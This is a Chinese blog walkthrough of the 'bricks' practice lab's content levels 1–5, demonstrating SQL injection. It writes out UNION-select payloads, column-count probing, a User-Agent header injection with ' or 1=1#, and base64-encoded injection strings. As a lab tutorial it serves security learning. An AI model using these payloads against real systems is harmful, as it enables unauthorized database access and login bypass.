网络安全 || 渗透测试_bricks content通关

本章的主题是content关卡,其内容是SQL注入,

先简单的科普一下什么是SQL注入:

SQL注入(数据库注入)是一种常见的网络安全漏洞,攻击者利用此漏洞向应用程序的数据库中插入恶意的SQL代码。通过注入这些恶意代码,攻击者可以绕过应用程序的身份验证和授权机制,执行未经授权的数据库操作,甚至获取敏感的数据。常见的SQL注入攻击方式包括通过输入框、URL参数、Cookie等方式将恶意的SQL代码注入到应用程序中。为了防范SQL注入攻击,开发人员应采取以下措施:使用参数化查询或预编译语句,限制用户的输入,对输入进行严格的检查和过滤,以及使用安全的数据库访问方法和权限控制。 

类型:

  • 整形注入(数字型注入) UNION query SQL injection
  • 字符行注入 UNION query SQL injection
  • 布尔型注入 Boolean-based blind SQL injection
  • 延时注入 Time-based blind SQL injection
  • 报错注入 Error-based SQL injection
  • 宽字节注入 Stacked queries SQL injection
  • 加密注入(base64、md5)等。

话不多说直接操作:

content#1

进入页面,发现用户(user name)名为tom的id为1,如下图:

使用语句:id=1 and 1=1         #正常    为真

                  id=1 and 1=2         #页面报错    为假

如下图            由此可以判断这是   整形注入

判断字符数,语句为:id=1 order by 1          #页面正常

从1试到9 ,发现         id=1 order by 9          #页面报错   如下图:

以上可判断为字符数为8位。

使用联合查询语句:id=-1 union select 1,2,3,4,5,6,7,8

得到具体显示位为:1,2,3,如下图:

假设,我要在显示位1   中查看数据库名,则在语句中,把1 改为查询函数   

比如:database()       #查询数据库名

           user()              #查询用户名

           version()         #查询数据库版本

           @@version_compile_os     #查询操作系统

其他语句函数请百度 。此处我以 在显示位1 中查询数据库名为例:

id=-1 union select database(),2,3,4,5,6,7,8          得到数据库名:bricks

其他查询数据库表,列,名,可自行百度或参考 https://docs.qq.com/doc/DTUZMY2Jnb3pFalZv  至此,content#1  结束

content#2

http://......content-2/index.php?user=tom

根据url得知,其将id=1改为了user=tom参数

判断:在参数后加单引号  ‘   

http://......content-2/index.php?user=tom’    页面报错,说明存在字符型注入

http://......content-2/index.php?user=tom’  and 1=1 --+              页面正常

http://......content-2/index.php?user=tom’  and 1=2 --+               页面报错,说明存在字符型注入

其他步骤与content#1  相同,再次不多阐述

http://......content-2/index.php?user=tom’  order by 1.....8 --+      页面正常

http://......content-2/index.php?user=tom’  order by 9 --+             页面错误 字符为8

http://......content-2/index.php?user=-tom’ union select 1,2,3,4,5,6,7,8  --+     得到显示位1 2 3

http://......content-2/index.php?user=-tom’ union select database(),2,3,4,5,6,7,8 --+   

得到数据库名:bricks

content#3

打开网页发现做了参数限制    如下图:

老样子,上burpsuite,挂代理抓取请求包 如下图:

在参数tom后写入注入语句

其余语句步骤与content#2相同,手工注入一条龙。我就在此跳过。   得到数据库名 :bricks

content#4

进来之后 懵懵的 报错:Error! User does not exists

显示的数据库语句是这样的:SQL Query: SELECT * FROM users WHERE ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'

不过,根据这条语句发现在ua=后面的信息也类似于参数作用,不多说,上bp改一下看看有没有效果

将user-agent后面的语句改为参数admin   (或者 123皆可)发现还是报错,但是显示的sql语句为:

SQL Query: SELECT * FROM users WHERE ua='admin',证明还是有些效果。

那假设盲猜一首用户名为admin,使用万能密码看看能否绕过    万能密码 ' or 1=1#

admin’ or 1=1#

欸嘿!这不就出来了。

browser verification 这题叫做浏览器验证。我也不知道算不算成功。

content#5

进来之后,发现url中id后的参数做了加密处理,由此可知,这属于加密类型注入    如下图:

根据密文与其他加密方式对比,可得知,该密文属于base64加密。只需将注入语句经过base64加密处理后注入就行。可以通过burpsuite或者其他的在线加密工具,做加密处理。

如下图:

将语句经过base64加密后,复制密文到id后面即可。得到数据库名:bricks

总结:语句千千万,手工注入占一半。

其他注入类型和语句可参考文档:https://docs.qq.com/doc/DTUZMY2Jnb3pFalZv

  • 31
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值